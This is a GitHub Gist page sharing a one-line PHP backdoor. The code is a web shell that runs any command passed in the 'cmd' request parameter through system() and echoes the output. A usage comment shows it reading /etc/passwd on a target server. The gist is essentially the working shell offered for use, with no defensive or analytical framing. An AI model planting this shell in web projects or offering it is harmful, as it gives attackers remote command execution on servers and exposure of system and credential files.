Skip to content

Instantly share code, notes, and snippets.

@kkirsche
Forked from sente/Simple-Backdoor-One-Liner.php
Created November 22, 2017 03:26
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save kkirsche/5f85bdb603efec9dd420336a4861932a to your computer and use it in GitHub Desktop.
Save kkirsche/5f85bdb603efec9dd420336a4861932a to your computer and use it in GitHub Desktop.
<!-- Simple PHP Backdoor By DK (One-Liner Version) -->
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment